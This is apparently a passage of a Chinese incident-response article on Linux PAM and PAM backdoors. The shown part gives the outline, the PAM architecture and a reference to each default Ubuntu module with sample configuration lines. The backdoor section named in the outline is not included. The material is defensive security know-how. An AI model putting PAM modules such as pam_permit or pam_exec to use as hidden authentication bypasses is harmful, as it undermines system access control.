大家好,今天和大家讨论的是 PAM 后门,这种技术有一定的历史了,最近更新《Linux 应急响应手册》,打算将 PAM 后门排查加入其中,所以学习一下
学习如果制作 PAM 后门不会很难,但也意义不大,我更希望大家能够了解 PAM 为什么可以被用来做后门, PAM 这门技术本身解决了什么现实问题
微信公众号限制 5 万字,所以文章进行了部分删减,大家可以去文末获取完整的 PDF 版
文章整体结构如下
0x01 简介
0x02 PAM 的意义
0x03 PAM 架构
0x04 PAM 服务模块
1. PAM 模块文件位置
2. PAM 模块分类
3. 模块具体功能
0x05 PAM 配置文件
1. PAM 配置文件的意义
2. PAM 配置文件的位置
3. PAM 配置文件语法
0x06 程序如何使用 PAM
1. 安装依赖
2. 新建 PAM 配置文件
3. 编写程序
4. 编译执行
0x07 PAM 后门
1. 修改 PAM 使用者
2. 修改 PAM 库本身
3. 修改 PAM 模块
4. 修改 PAM 配置文件
0x08 PDF 版本下载
往期文章
PAM 是 Pluggable Authentication Modules 的缩写,即可插拔的身份验证模块。我们在接触硬件时经常听到“可插拔”这个词,例如热插拔硬盘。这一术语的使用强调了认证模块的灵活性和可扩展性
身份认证的方式多种多样,例如密码、公私钥、LDAP、指纹、U盾等。对于应用程序开发者而言,支持多种认证方式意味着需要编写不同的认证代码。如果希望在使用过程中切换认证方式,就必须重新修改程序代码。PAM 的出现使这些认证方式标准化,提供了统一的接口来处理身份验证。应用程序只需与 PAM 进行交互,而无需关心底层的实现细节。例如,开发者可以轻松地在密码认证和指纹认证之间切换,而无需大幅修改代码
https://docs.oracle.com/cd/E23824_01/html/819-2145/pam-01.html
PAM 使用者很好理解,谁要用 PAM 进行认证谁就是 PAM 使用者
PAM 库是 PAM 于系统存在的形式,通过 PAM 库提供 API 供程序调用
pam.conf 是指配置文件,是表述 PAM 验证逻辑的核心内容
PAM 服务模块是 PAM 框架中负责处理具体身份验证任务的组件。它们被设计为可插拔的模块,允许系统根据需求灵活配置和扩展身份验证机制
PAM 服务模块文件的位置为
/usr/lib/x86_64-linux-gnu/security/pam_unix.so
PAM 模块主要分为四类
对用户进行身份验证并设置用户凭据,授予用户对帐户或服务的访问权限,如 pam_unix
(传统密码验证)、pam_tally
(账户锁定)等
用于确定当前用户的帐户是否有效及访问权限,提供此服务的模块可以检查密码或帐户过期以及时间限制访问,例如 pam_access
(基于IP地址控制访问)和 pam_time
(基于时间限制访问)
处理用户会话相关的任务,如 pam_limits
(限制用户资源使用)和 pam_env
(设置环境变量)
更新身份验证机制。通常,这些服务与认证组的服务是强耦合的。一些身份验证机制非常适合使用这样的功能进行更新。标准UN*X基于密码的访问就是一个明显的例子:请输入一个替换密码
如果我们的应用程序使用了某种身份验证方式,就需要在配置文件中指定对应的模块,那到底有哪些模块呢?默认都是什么功能,接下来我们以 Ubuntu Server 22.04 默认的模块为例来一一介绍
功能:此模块用于控制用户的访问权限,基于用户、主机和服务的配置来允许或拒绝访问
主要用途:
配置文件
通常在 /etc/security/access.conf
中进行配置。这个文件定义了可以或不可以访问的用户和主机
例如
# 允许用户 john 从任何主机访问
+ : john : ALL# 拒绝所有其他用户
- : ALL : ALL
PAM 配置
在 PAM 的配置文件中,可以这样配置
auth required pam_access.so
处理流程
pam_access.so
:access.conf
的规则检查用户和主机功能:模块用于管理进程的能力(capabilities),允许用户在不提升为超级用户的情况下,获得特定的权限
主要用途:
配置文件
具体的能力设置通常在 /etc/security/capability.conf
文件中进行设置,定义了每个用户或组所能获得的能力
# 允许用户 john 获取 CAP_NET_ADMIN 能力
cap_net_admin john
https://manpages.ubuntu.com/manpages/focal/en/man5/capability.conf.5.html
PAM 配置
在 PAM 的配置文件中,可以这样配置
auth required pam_cap.so
处理流程
用户登录:系统在认证过程中加载 pam_cap.so
功能:用于调试和诊断 PAM 配置。它可以记录 PAM 处理过程中的详细信息,帮助系统管理员分析问题
主要用途
配置位置
不需要额外的配置文件
使用示例
在 PAM 配置文件中可以这样使用:
auth required pam_debug.so
日志输出
pam_debug.so
会将调试信息输出到系统日志(通常是 /var/log/secure
或 /var/log/auth.log
),记录模块的调用情况和返回值功能:用于拒绝所有访问请求。它是一个简单的拒绝机制,确保任何调用它的认证尝试都将失败
主要用途
配置位置
没有独立的配置文件
使用示例
在 PAM 配置文件中可以这样使用:
auth required pam_deny.so
处理流程
pam_deny.so
:无论用户的身份如何,都会拒绝访问功能:用于在用户登录时输出自定义消息。它可以用于显示欢迎信息或重要提示
主要用途
配置位置
没有独立的配置文件
使用示例
在 PAM 配置文件中可以这样使用:
auth required pam_echo.so "Welcome to the system!"
注意事项
功能
pam_env.so
模块用于管理用户的环境变量。它可以根据配置文件设置、修改或删除环境变量,确保用户在登录时拥有正确的环境设置
主要用途
配置文件
通常与 /etc/security/environment
文件结合使用,定义要设置的环境变量
Ubuntu Server 22.04 中默认没有这个配置文件
使用示例
在 PAM 配置文件中可以这样使用:
auth required pam_env.so
环境变量设置
在 /etc/security/environment
中,可以定义环境变量,例如:
PATH=/usr/local/bin:/usr/bin:/bin
LANG=en_US.UTF-8
处理流程
pam_env.so
:设置环境变量功能
pam_exec.so
模块允许在 PAM 认证过程中执行外部命令或脚本。它可以用于自定义认证逻辑或执行特定操作
主要用途
配置位置
没有自己的配置文件
使用示例
在 PAM 配置文件中可以这样使用:
auth required pam_exec.so /path/to/script.sh
参数
假设你有一个脚本 check_user.sh
,用于根据用户名检查某些条件,并返回相应的状态
#!/bin/bash
# 检查用户名是否为特定值
if [ "$1" == "admin" ]; then
exit 0 # 返回 0 表示成功
else
exit 1 # 返回 1 表示失败
fi
PAM 配置
在 PAM 配置文件中,你可以这样调用该脚本:
auth required pam_exec.so /path/to/check_user.sh %u
处理流程
pam_exec.so
会执行 /path/to/check_user.sh
,并传递当前用户名(%u
)admin
,脚本返回 0,认证成功注意事项
确保外部命令的安全性,避免引入安全风险
可能会影响认证速度,需谨慎使用
功能
这个模块与标准 Unix 认证模块 pam_unix.so
相似,只不过不再使用 /etc/passwd
和 /etc/shadow
,而是使用 /var/lib/extrausers/passwd
和 /var/lib/extrausers/shadow
主要用途
配置文件
/var/lib/extrausers/*
),该文件中包含额外的用户信息使用示例
在 PAM 配置文件中,可以这样使用:
auth required pam_extrausers.so
处理流程
pam_extrausers.so
:模块会查找额外用户数据库进行验证更详细的内容查看
https://manpages.ubuntu.com/manpages/bionic/man8/pam_extrausers.8.html#module%20types%20provided
功能
pam_faildelay.so
模块用于设置失败认证尝试后的延迟时间。它可以增加安全性,防止暴力破解攻击
主要用途
配置位置
没有独立的配置文件
使用示例
在 PAM 配置文件中,可以这样使用:
auth required pam_faildelay.so delay=5000000
参数说明
delay
:指定延迟时间,以微秒为单位。例如,delay=5000000
表示认证失败后延迟 5 秒处理流程
pam_faildelay.so
将根据指定的延迟时间引入延迟功能
pam_faillock.so
模块用于管理用户认证失败的锁定机制,防止暴力破解攻击。它可以在多次认证失败后锁定用户账户
主要用途
配置位置
配置文件位于 /etc/security/faillock.conf
使用示例
在 PAM 配置文件中,可以这样使用:
auth required pam_faillock.so preauth
auth [default=die] pam_faillock.so authfail
参数说明
preauth
:在用户进行认证之前调用,记录失败尝试authfail
:在认证失败时调用,增加失败计数处理流程
功能
该模块旨在成为一个平台,用于提供对用户和应用程序之间传递的所有输入/输出的访问。它只是 适用于基于 TTY 和 (STDIN/STDOUT) 的应用
主要用途
配置位置
通常,pam_filter.so
会指向一个具体的规则文件,例如 /etc/security/filter.conf
。在这个文件中,你可以定义输入和输出的过滤规则
# 过滤规则示例
# 阻止特定字符
deny: .*password.*
deny: .*secret.*
使用示例
在 PAM 配置文件中,可以这样使用:
session required pam_filter.so run1 /lib/security/pam_filter/upperLOWER
参数说明
处理流程
pam_filter.so
会检查输入,应用定义的过滤规则功能
pam_ftp.so
模块用于支持 FTP 服务的用户认证,通常与 FTP 服务器一起使用
主要用途
配置位置
无独立的配置文件
使用示例
在 PAM 配置文件中,可以这样使用:
auth required pam_ftp.so
处理流程
这个模块用户认证使用的就是系统默认的认证文件,即 /etc/passwd 以及 /etc/shadow
功能pam_group.so
模块用于根据用户的组信息控制访问权限
主要用途实现基于组的访问控制,仅允许特定用户组的成员进行认证
配置位置通常在 PAM 配置文件中进行设置,位于 /etc/pam.d/
目录下的相关文件。它也可以使用 /etc/security/group.conf
进行更细致的配置
具体配置方法参见
https://linux.die.net/man/5/group.conf
使用示例在 PAM 配置文件中,可以这样使用:
auth required pam_group.so
参数说明
group
:指定允许认证的用户组,例如 ftpusers
处理流程
pam_group.so
,检查用户是否属于指定的组https://linux.die.net/man/8/pam_group
功能pam_issue.so
模块用于在用户登录时显示一条消息或欢迎信息
主要用途提供登录提示或警告信息,通常用于通知用户相关政策或使用条款
配置位置无独立配置文件,在使用过程中指定显示的信息
使用示例在 PAM 配置文件中,可以这样使用:
session required pam_issue.so issue=/etc/issue
参数说明
issue
:指定要显示的消息文件路径,例如 /etc/issue
处理流程
pam_issue.so
,读取并显示指定的消息文件内容功能pam_keyinit.so
模块用于在用户登录时初始化用户的密钥环(keyring),确保用户的密钥管理安全
主要用途在用户会话开始时,自动创建或打开一个密钥环,便于管理加密密钥和其他敏感数据
配置位置无独立配置文件
使用示例在 PAM 配置文件中,可以这样使用:
session required pam_keyinit.so force revoke
参数说明
处理流程
pam_keyinit.so
,初始化或打开用户的密钥环功能pam_lastlog.so
模块用于在用户登录时显示上次登录的信息,并更新上次登录的时间记录
主要用途在用户成功登录后,显示上次登录的时间、终端和主机信息,帮助用户了解其账户的使用情况
配置位置通常在 PAM 配置文件中进行设置,位于 /etc/pam.d/
目录下的相关文件
使用示例在 PAM 配置文件中,可以这样使用:
session optional pam_lastlog.so showfailed
参数说明
处理流程
pam_lastlog.so
,显示上次登录的时间、终端和主机信息参考
https://manpages.debian.org/testing/libpam-modules/pam_lastlog.8.en.html
功能pam_limits.so
模块用于设置用户和系统的资源限制,确保系统资源得到合理分配和使用
主要用途在用户会话开始时,根据配置文件中的设置应用资源限制,控制用户进程可以使用的资源量
配置位置具体的资源限制配置文件是 /etc/security/limits.conf
配置文件 /etc/security/limits.conf
语法
该配置文件用于定义用户或组的资源限制,语法如下:
<domain> <type> <item> <value>
*
soft
(软限制)或 hard
(硬限制)。软限制可以被用户增加到硬限制范围内,硬限制是系统允许的最大值core
(核心转储大小)、data
(数据段大小)、nofile
(打开文件的最大数)、rss
(驻留集大小)等unlimited
(无限制)配置示例
# 限制用户 alice 的最大打开文件数为 1000,最大可用内存为 512 MB
alice hard nofile 1000
alice soft rss 524288# 对于组 admin,限制最大进程数为 50
@admin hard nproc 50
# 对于所有用户,限制核心转储大小为 0(即禁止生成核心转储文件)
* hard core 0
在这个示例中:
alice
不能打开超过 1000 个文件,并且软限制其驻留集大小(内存使用)为 512 MBadmin
的成员不能创建超过 50 个进程使用示例在 PAM 配置文件中,可以这样使用:
session required pam_limits.so
参数说明
pam_limits.so
模块通常不需要额外参数,直接读取 /etc/security/limits.conf
文件中的配置处理流程
pam_limits.so
,读取并应用 /etc/security/limits.conf
文件中的资源限制设置功能pam_listfile.so
模块用于基于文件列表进行用户认证控制,可以通过文件列出允许或拒绝访问的用户列表
主要用途在用户认证过程中,根据指定文件中的用户名、组名、主机名等信息,允许或拒绝用户访问系统
配置位置无独立配置文件,在配置时指定
使用示例在 PAM 配置文件中,可以这样使用:
auth required pam_listfile.so onerr=fail item=user sense=allow file=/etc/security/allowed_users
参数说明
处理流程
pam_listfile.so
,读取指定文件中的用户列表配置文件语法
配置文件通常是一个简单的文本文件,每行列出一个用户名、组名或其他项目,具体取决于 item
参数的设置
配置示例
假设文件 /etc/security/allowed_users
包含以下内容:
alice
bob
charlie
在 PAM 配置文件中,可以这样使用:
auth required pam_listfile.so onerr=fail item=user sense=allow file=/etc/security/allowed_users
在这个示例中:
alice
、bob
或 charlie
尝试登录,他们将被允许访问系统另一个示例,如果要拒绝某些用户访问,可以这样设置:
auth required pam_listfile.so onerr=fail item=user sense=deny file=/etc/security/denied_users
假设文件 /etc/security/denied_users
包含以下内容:
dave
eve
在这个示例中:
dave
或 eve
尝试登录,他们将被拒绝访问系统功能pam_localuser.so
模块用于确保用户是本地用户,即用户必须在本地 /etc/passwd
文件中定
主要用途在用户认证过程中,验证用户是否为本地定义的用户,防止非本地用户(如 NIS、LDAP 用户)访问系统
配置位置没有独立的配置文件
使用示例在 PAM 配置文件中,可以这样使用:
auth required pam_localuser.so
参数说明
pam_localuser.so
模块通常不需要额外参数,直接检查用户是否在本地 /etc/passwd
文件中定义处理流程
pam_localuser.so
,检查用户是否在本地 /etc/passwd
文件中定义功能pam_loginuid.so
模块用于在用户登录时设置登录 UID(Login UID),这有助于审计和安全管理
主要用途在用户会话开始时,设置登录 UID 以便系统可以跟踪用户的活动,确保所有用户操作都可以追溯到登录用户
配置位置无独立的配置文件
使用示例在 PAM 配置文件中,可以这样使用:
session required pam_loginuid.so
参数说明
pam_loginuid.so
模块通常不需要额外参数,直接设置登录 UID处理流程
pam_loginuid.so
,为用户会话设置登录 UID功能pam_mail.so
模块用于在用户登录时通知用户是否有新邮件
主要用途在用户成功登录后,检查用户的邮件目录并通知用户是否有新邮件,以便用户及时处理邮件
配置位置无独立配置文件
使用示例在 PAM 配置文件中,可以这样使用:
session optional pam_mail.so standard noenv
参数说明
MAIL
环境变量处理流程
pam_mail.so
,检查用户的邮件目录MAIL
环境变量配置示例
假设在 /etc/pam.d/login
文件中进行配置:
# /etc/pam.d/login# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session optional pam_mail.so standard noenv
session required pam_limits.so
session include system-auth
在这个示例中:
pam_mail.so
模块被配置为在每个登录会话开始时检查用户的邮件目录,并使用标准消息格式通知用户是否有新邮件,同时不设置 MAIL
环境变量参数详细说明
/var/mail
MAIL
处理流程示例
alice
尝试登录,系统根据 PAM 配置进行认证pam_mail.so
,检查 /var/mail/alice
文件alice
有新邮件,系统显示类似于 "You have new mail." 的消息noenv
参数,系统会设置 MAIL
环境变量为 `/var/mail/alice功能pam_mkhomedir.so
模块用于在用户首次登录时自动创建用户的主目录
主要用途当用户首次登录系统时,如果用户的主目录不存在,pam_mkhomedir.so
模块会自动创建该主目录,并设置相应的权限
配置位置无独立配置文件
使用示例在 PAM 配置文件中,可以这样使用:
session required pam_mkhomedir.so skel=/etc/skel/ umask=0022
参数说明
/etc/skel/
处理流程
pam_mkhomedir.so
,检查用户的主目录是否存在/etc/skel/
目录中的文件和目录作为模板,创建用户的主目录umask
值功能pam_motd.so
模块用于在用户登录时显示“消息(Message of the Day,MOTD)”文件的内容
主要用途在用户成功登录后,显示系统管理员设置的消息或通知,以便向用户传达系统相关的信息或公告
配置位置默认的消息文件路径是 /etc/motd
,这个在之前 motd
后门的文章中已经讲过了
使用示例在 PAM 配置文件中,可以这样使用:
session optional pam_motd.so motd=/etc/motd
参数说明
/etc/motd
/var/run/motd
文件处理流程
pam_motd.so
,读取指定的 MOTD 文件录,系统根据 PAM 配置进行认证
调用 pam_motd.so
,读取 /etc/motd
文件
显示 /etc/motd
文件内容,例如:
Welcome to our system!
Please report any issues to the system administrator.
用户 alice
看到上述消息后,可以继续进行其他操作
功能pam_namespace.so
模块用于在用户会话期间为用户创建和管理命名空间,以实现资源隔离和增强安全性
主要用途在用户会话开始时,根据配置文件设置用户的命名空间,使用户的进程在隔离的环境中运行。这有助于增强系统的安全性和资源管理
配置位置命名空间配置文件路径可以在 /etc/security/namespace.conf
以及 /etc/security/namespace.d/*
中指定
使用示例在 PAM 配置文件中,可以这样使用:
session required pam_namespace.so
参数说明
/etc/security/namespace.conf
处理流程
pam_namespace.so
,读取命名空间配置文件,设置用户的命名空间功能pam_nologin.so
模块用于在系统维护或其他特殊情况下禁止用户登录
主要用途在系统维护或其他需要限制用户登录的情况下,通过检查 /etc/nologin
文件的存在,防止非特权用户登录系统
配置位置
/etc/nologin
Ubuntu Server 22.04 中默认不存在
使用示例在 PAM 配置文件中,可以这样使用:
auth requisite pam_nologin.so
参数说明
pam_nologin.so
模块通常不需要额外参数,直接检查 /etc/nologin
文件的存在处理流程
pam_nologin.so
,检查 /etc/nologin
文件是否存在功能pam_permit.so
模块用于无条件地允许用户通过认证,有点像 True 的意思
主要用途通常用于调试或在某些特殊情况下作为占位符,确保 PAM 堆栈的某些部分总是成功通过认证
配置位置无独立配置文件
使用示例在 PAM 配置文件中,可以这样使用:
auth required pam_permit.so
参数说明
pam_permit.so
模块不需要额外参数,直接无条件地允许用户通过认证处理流程
pam_permit.so
,无条件地允许用户通过当前认证阶段配置示例
假设在 /etc/pam.d/common-auth
文件中进行配置:
# /etc/pam.d/common-auth# 其他 PAM 模块配置
auth required pam_env.so
auth required pam_faildelay.so delay=2000000
auth required pam_unix.so
auth optional pam_permit.so
在这个示例中:
pam_permit.so
模块被配置为在认证阶段无条件地允许用户通过,这种配置仅用于占位或调试目的参数详细说明
pam_permit.so
模块不需要任何额外参数,作用是无条件地通过认证使用注意
由于 pam_permit.so
模块无条件地允许通过认证,因此应谨慎使用,特别是在生产环境中。它通常用于以下几种场景:
示例使用场景
调试配置
在调试 PAM 配置时,临时使用 pam_permit.so
模块确保某个阶段总是成功通过:
auth required pam_permit.so
防止配置错误
在某些情况下,可以使用 pam_permit.so
作为占位符,确保配置文件格式正确。例如:
account required pam_permit.so
功能pam_pwhistory.so
模块用于记录用户之前使用的密码,并在用户尝试更改密码时检查新密码是否与之前的密码重复
主要用途通过禁止用户重复使用旧密码来增强密码安全性,防止用户在短时间内循环使用密码
配置位置通常在 PAM 配置文件中的密码管理阶段(password
)进行设置,位于 /etc/pam.d/
目录下的相关文件
使用示例在 PAM 配置文件中,可以这样使用:
password required pam_pwhistory.so use_authtok remember=5 enforce_for_root
参数说明
处理流程
pam_pwhistory.so
,检查新密码是否与最近使用的 N 个密码重复配置示例
假设在 /etc/pam.d/common-password
文件中进行配置:
# /etc/pam.d/common-password# 其他 PAM 模块配置
password required pam_unix.so
password required pam_pwhistory.so use_authtok remember=5 enforce_for_root
在这个示例中:
pam_pwhistory.so
模块被配置为在更改密码时检查用户最近使用的 5 个密码,并对 root 用户强制执行密码历史检查参数详细说明
使用注意
/etc/security/opasswd
文件中,这个文件必须受到严格保护,确保只有 root 用户可以访问pam_pwhistory.so
模块放置在正确的顺序中,通常在 pam_unix.so
之后pam_pwhistory.so
模块示例使用场景
增强密码安全性
通过配置 pam_pwhistory.so
模块,防止用户重复使用旧密码,增强密码安全性:
password required pam_pwhistory.so use_authtok remember=10 enforce_for_root
调试配置
在调试 PAM 配置时,启用调试信息以便排查问题:
password required pam_pwhistory.so use_authtok remember=10 enforce_for_root debug
功能pam_rhosts.so
模块用于通过检查用户的 .rhosts
文件来提供基于主机的认证,这通常用于 rlogin
、rsh
等远程登录服务
主要用途基于主机和用户的组合进行认证,从而允许或拒绝远程登录请求。这个模块读取用户的 .rhosts
文件,并根据文件内容决定是否允许远程登录
配置位置
~/.rhosts
使用示例在 PAM 配置文件中,可以这样使用:
auth required pam_rhosts.so
参数说明
pam_rhosts.so
模块不需要额外参数,直接读取用户的 .rhosts
文件进行认证处理流程
rlogin
、rsh
等服务登录,系统根据 PAM 配置进行认证pam_rhosts.so
,读取用户主目录中的 .rhosts
文件.rhosts
文件中列出了允许的主机和用户组合,则允许登录;否则拒绝登录配置示例
假设在 /etc/pam.d/rlogin
文件中进行配置:
# /etc/pam.d/rlogin# 其他 PAM 模块配置
auth required pam_nologin.so
auth required pam_env.so
auth sufficient pam_rhosts.so
auth required pam_unix.so
account required pam_unix.so
session required pam_unix.so
在这个示例中:
pam_rhosts.so
模块被配置为在 rlogin
服务的认证阶段读取用户的 .rhosts
文件进行基于主机的认证参数详细说明
pam_rhosts.so
模块不需要任何额外参数,作用是读取用户的 .rhosts
文件并根据内容决定是否允许登录使用注意
.rhosts
文件的基于主机的认证方式相对不安全(容易被网络嗅探和伪造),建议仅在受信任的网络环境中使用,并尽量避免使用此认证方式.rhosts
文件的权限设置正确,通常应设置为仅用户自己可以读写(600
权限)pam_rhosts.so
模块的顺序正确,通常放置在其他认证模块之前示例使用场景
允许特定主机的用户登录
配置用户的 .rhosts
文件,允许特定主机上的用户登录:
# ~/.rhoststrusted_host1 user1
trusted_host2 user2
限制不受信任的主机
确保 .rhosts
文件中没有列出不受信任的主机,防止不安全的远程登录
功能pam_rootok.so
模块用于无条件地允许 root 用户通过认证
主要用途当需要允许 root 用户无条件通过某些认证步骤时使用。例如,在使用 sudo
或某些管理工具时,确保 root 用户可以直接通过认证
配置位置无独立配置文件
使用示例在 PAM 配置文件中,可以这样使用:
auth sufficient pam_rootok.so
参数说明
pam_rootok.so
模块不需要额外参数,直接无条件地允许 root 用户通过认证处理流程
sudo
)pam_rootok.so
,检查用户是否为 root配置示例
假设在 /etc/pam.d/su
文件中进行配置:
# /etc/pam.d/su# 其他 PAM 模块配置
auth sufficient pam_rootok.so
auth required pam_wheel.so use_uid
auth include system-auth
account sufficient pam_succeed_if.so uid = 0 use_uid quiet
account include system-auth
password include system-auth
session include system-auth
在这个示例中:
pam_rootok.so
模块被配置为在 su
命令的认证阶段检查用户是否为 root,如果是则无条件通过认证参数详细说明
pam_rootok.so
模块不需要任何额外参数,直接检查用户是否为 root 用户使用注意
pam_rootok.so
模块无条件地允许 root 用户通过认证,应谨慎使用,确保仅在需要的地方配置此模块,以防止潜在的安全风险pam_rootok.so
模块的顺序正确,通常放置在其他认证模块之前,以便在 root 用户认证时优先匹配示例使用场景
允许 root 用户无条件通过 sudo 认证
在 /etc/pam.d/sudo
文件中配置 pam_rootok.so
模块,允许 root 用户无条件通过 sudo 认证:
# /etc/pam.d/sudo# 其他 PAM 模块配置
auth sufficient pam_rootok.so
auth include system-auth
account include system-auth
session include system-auth
允许 root 用户无条件通过 su 认证
在 /etc/pam.d/su
文件中配置 pam_rootok.so
模块,允许 root 用户无条件通过 su 认证:
# /etc/pam.d/su# 其他 PAM 模块配置
auth sufficient pam_rootok.so
auth required pam_wheel.so use_uid
auth include system-auth
account sufficient pam_succeed_if.so uid = 0 use_uid quiet
account include system-auth
password include system-auth
session include system-auth
功能pam_securetty.so
模块用于限制 root 用户只能从指定的安全终端登录
主要用途通过检查 /etc/securetty
文件,确保 root 用户只能从列为安全终端的设备登录,增强系统安全性
配置位置
/etc/securetty
Ubuntu Server 22.04 默认无此配置文件
使用示例在 PAM 配置文件中,可以这样使用:
auth requisite pam_securetty.so
参数说明
pam_securetty.so
模块不需要额外参数,直接检查 /etc/securetty
文件处理流程
pam_securetty.so
,检查用户是否为 root/etc/securetty
文件中是否列出了当前终端/etc/securetty
文件中,则允许登录;否则,拒绝登录配置示例
假设在 /etc/pam.d/login
文件中进行配置:
# /etc/pam.d/login# 其他 PAM 模块配置
auth requisite pam_securetty.so
auth required pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_limits.so
session include system-auth
在这个示例中:
pam_securetty.so
模块被配置为在登录的认证阶段检查 /etc/securetty
文件,限制 root 用户只能从安全终端登录参数详细说明
pam_securetty.so
模块不需要任何额外参数,直接检查 /etc/securetty
文件使用注意
/etc/securetty
文件中正确列出了允许 root 用户登录的终端设备。这通常包括本地控制台和特定的虚拟终端/etc/securetty
文件的权限设置正确,通常应设置为仅 root 用户可以读写(600
权限)示例使用场景
限制 root 用户登录终端
配置 /etc/securetty
文件,仅允许 root 用户从指定终端(如本地控制台)登录:
# /etc/securettytty1
tty2
tty3
tty4
tty5
tty6
防止远程登录
确保 /etc/securetty
文件中没有列出远程终端设备(如 pts/
),从而防止 root 用户通过远程终端登录
处理流程示例
root
尝试从 tty1
登录,系统根据 PAM 配置进行认证pam_securetty.so
,检查用户是否为 root/etc/securetty
文件,确认 tty1
是否被列为安全终端tty1
在 /etc/securetty
文件中,允许 root 用户登录root
尝试从 pts/0
登录,系统根据 PAM 配置进行认证pam_securetty.so
,检查用户是否为 root/etc/securetty
文件,确认 pts/0
是否被列为安全终端pts/0
不在 /etc/securetty
文件中,拒绝 root 用户登录功能pam_selinux.so
模块用于在用户会话期间管理 SELinux 安全上下文,确保用户登录时正确设置 SELinux 安全上下文
主要用途在用户登录和会话管理过程中,设置和恢复用户的 SELinux 安全上下文,以确保系统的安全策略得到正确应用
配置位置通常在 PAM 配置文件中的会话管理阶段(session
)进行设置,位于 /etc/pam.d/
目录下的相关文件
使用示例在 PAM 配置文件中,可以这样使用:
session required pam_selinux.so open
session required pam_selinux.so close
参数说明
处理流程
pam_selinux.so open
,设置用户的 SELinux 安全上下文pam_selinux.so close
,恢复 SELinux 安全上下文配置示例
假设在 /etc/pam.d/login
文件中进行配置:
# /etc/pam.d/login# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_selinux.so close
session include system-auth
在这个示例中:
pam_selinux.so
模块被配置为在登录会话开始时设置 SELinux 安全上下文,在会话结束时恢复上下文参数详细说明
使用注意
pam_selinux.so
模块能够正常工作pam_selinux.so open
在会话开始时配置,pam_selinux.so close
在会话结束时配置示例使用场景
设置和恢复 SELinux 安全上下文
在 PAM 配置文件中配置 pam_selinux.so
模块,确保用户会话在正确的 SELinux 安全上下文中运行:
session required pam_selinux.so open
session required pam_selinux.so close
调试 SELinux 安全上下文
启用详细日志输出,帮助调试 SELinux 安全上下文设置问题:
session required pam_selinux.so open verbose
session required pam_selinux.so close verbose
处理流程示例
alice
尝试登录,系统根据 PAM 配置进行认证pam_selinux.so open
,设置用户 alice
的 SELinux 安全上下文alice
的会话在正确的 SELinux 安全上下文中运行alice
的会话结束时,调用 pam_selinux.so close
,恢复 SELinux 安全上下文功能pam_sepermit.so
模块用于在用户会话期间管理 SELinux 用户权限,确保用户登录时根据 SELinux 策略正确应用登录权限
主要用途在用户登录和会话管理过程中,检查并设置用户的 SELinux 权限,确保符合系统安全策略
配置位置通常在 PAM 配置文件中的认证阶段(auth
)进行设置,位于 /etc/pam.d/
目录下的相关文件
使用示例在 PAM 配置文件中,可以这样使用:
auth required pam_sepermit.so
参数说明
pam_sepermit.so
模块通常不需要额外参数,直接根据系统的 SELinux 策略进行权限检查处理流程
pam_sepermit.so
,检查用户的 SELinux 权限配置示例
假设在 /etc/pam.d/login
文件中进行配置:
# /etc/pam.d/login# 其他 PAM 模块配置
auth required pam_sepermit.so
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_selinux.so close
session include system-auth
在这个示例中:
pam_sepermit.so
模块被配置为在登录的认证阶段检查用户的 SELinux 权限参数详细说明
pam_sepermit.so
模块不需要额外参数,直接根据 SELinux 策略进行权限检查使用注意
pam_sepermit.so
模块能够正常工作pam_sepermit.so
模块在适当的顺序中配置,通常放置在其他认证模块之前,以便优先进行 SELinux 权限检查示例使用场景
检查用户 SELinux 权限
在 PAM 配置文件中配置 pam_sepermit.so
模块,确保用户登录时符合 SELinux 权限策略:
auth required pam_sepermit.so
处理流程示例
alice
尝试登录,系统根据 PAM 配置进行认证pam_sepermit.so
,检查用户 alice
的 SELinux 权限alice
的 SELinux 权限符合策略,允许登录alice
的 SELinux 权限不符合策略,拒绝登录功能pam_setquota.so
模块用于在用户登录时设置磁盘配额(quota),确保用户会话期间适用相应的磁盘使用限制。这里是应用已经配置好的磁盘配额而不是在这里配置
主要用途在用户登录和会话管理过程中,自动为用户设置磁盘配额限制,以便有效管理和限制磁盘资源使用
配置位置通常在 PAM 配置文件中的会话管理阶段(session
)进行设置,位于 /etc/pam.d/
目录下的相关文件
使用示例在 PAM 配置文件中,可以这样使用:
session required pam_setquota.so
参数说明
QUOTAUSER
环境变量处理流程
pam_setquota.so
,根据系统的配额设置为用户或用户组设置磁盘配额配置示例
假设在 /etc/pam.d/login
文件中进行配置:
# /etc/pam.d/login# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_setquota.so
session required pam_selinux.so close
session include system-auth
在这个示例中:
pam_setquota.so
模块被配置为在用户会话开始时设置磁盘配额参数详细说明
QUOTAUSER
环境变量。默认情况下,pam_setquota.so
模块会设置 QUOTAUSER
环境变量以标识当前用户使用注意
pam_setquota.so
模块能够正常工作pam_setquota.so
模块在适当的顺序中配置,通常放置在其他会话管理模块之后,以便在会话开始时正确设置磁盘配额示例使用场景
为用户设置磁盘配额
在 PAM 配置文件中配置 pam_setquota.so
模块,确保用户会话期间应用相应的磁盘配额限制:
session required pam_setquota.so
为特定用户或组设置磁盘配额
在 PAM 配置文件中指定特定用户或组,确保其会话期间应用相应的磁盘配额限制:
session required pam_setquota.so user=alice
session required pam_setquota.so group=staff
处理流程示例
alice
尝试登录,系统根据 PAM 配置进行认证pam_setquota.so
,为用户 alice
设置磁盘配额alice
的会话在设置好的磁盘配额限制下运行功能pam_shells.so
模块用于检查用户的登录 shell 是否在允许的 shell 列表中
主要用途在用户登录时,通过验证用户的登录 shell 是否在系统允许的 shell 列表中(通常定义在 /etc/shells
文件中),从而控制用户的登录权限
配置位置
/etc/shells
使用示例在 PAM 配置文件中,可以这样使用:
auth required pam_shells.so
参数说明
pam_shells.so
模块不需要额外参数,直接检查 /etc/shells
文件处理流程
pam_shells.so
,检查用户的登录 shell 是否在 /etc/shells
文件中/etc/shells
文件中,则允许登录;否则,拒绝登录配置示例
假设在 /etc/pam.d/login
文件中进行配置:
